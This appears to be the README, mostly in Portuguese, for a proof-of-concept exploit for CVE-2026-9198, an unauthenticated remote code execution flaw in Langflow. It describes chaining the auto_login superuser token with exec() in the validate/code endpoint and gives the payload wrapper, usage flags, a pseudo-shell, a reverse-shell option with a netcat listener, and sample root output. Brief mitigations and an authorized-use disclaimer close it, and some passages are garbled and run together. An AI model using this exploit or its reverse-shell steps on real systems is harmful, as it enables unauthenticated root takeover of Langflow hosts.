
Exploit para CVE-2026-9198, contendo payloads de prova de conceito e etapas de validação para avaliar a vulnerabilidade em ambientes alvo.
Execução remota de código não autenticada no IBM Langflow OSS (1.0.0 – 1.10.0) em uma implantação padrão. Encadeia duas falhas:
GET /api/v1/auto_login emite um JWT de SUPERUSER para qualquer
chamador sem credenciais sempre que AUTO_LOGIN está habilitado (o padrão no
Langflow < 1.5).POST /api/v1/validate/code passa Python fornecido pelo usuário para
exec() sem sandbox.Juntas (CVE-2026-9198), um atacante não autenticado obtém execução de código como o
usuário do serviço Langflow — que frequentemente é root.
Solicita um token bearer de superusuário em /api/v1/auto_login (sem autenticação).
Envia um payload para /api/v1/validate/code. O endpoint executa o código via exec() para
"validá-lo"; o Python avalia valores de argumentos padrão no momento da definição, então
o payload é envolvido em um argumento padrão de função:
def _v(a=exec('<payload>')): pass
Para execução de comandos, o payload lança uma exceção cuja mensagem é a
saída do comando, que o endpoint reflete de volta na resposta
(function.errors[]).
./exploit.py -t <target> [options]
-t, --target target host/IP (or full URL) (required)
-p, --port Langflow port (default 7860)
-c, --cmd run a single shell command, print output
--shell interactive pseudo-shell (each line runs via the RCE)
--lhost reverse-shell listener IP
--lport reverse-shell listener port (default 4444)
-k, --token use this bearer token (skip auto_login)
--timeout HTTP timeout in seconds (default 20)
--no-banner suppress the banner
-h, --help show help
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install)AUTO_LOGIN estiver habilitado (o padrão para Langflow < 1.5; em
>= 1.5 ele deve ser explicitamente LANGFLOW_AUTO_LOGIN=true). Se auto_login não retornar
nenhum token, o alvo não é explorável por este caminho — forneça um token válido com
-k se você tiver um.function.errors[]; stderr é
mesclado em stdout para que comandos que falham ainda mostrem seu erro.root (comum com
langflow run puro sob systemd/Docker como root), isso é root direto no host.validate/code não deve executar via exec()
entrada não confiável e auto_login não deve emitir tokens de superusuário.LANGFLOW_AUTO_LOGIN=false e configure credenciais reais de superusuário.root.Este projeto é publicado apenas para testes de segurança autorizados e fins educacionais. Não o utilize contra sistemas que você não possui ou para os quais não tem permissão explícita de testar. O autor não aceita qualquer responsabilidade por uso indevido.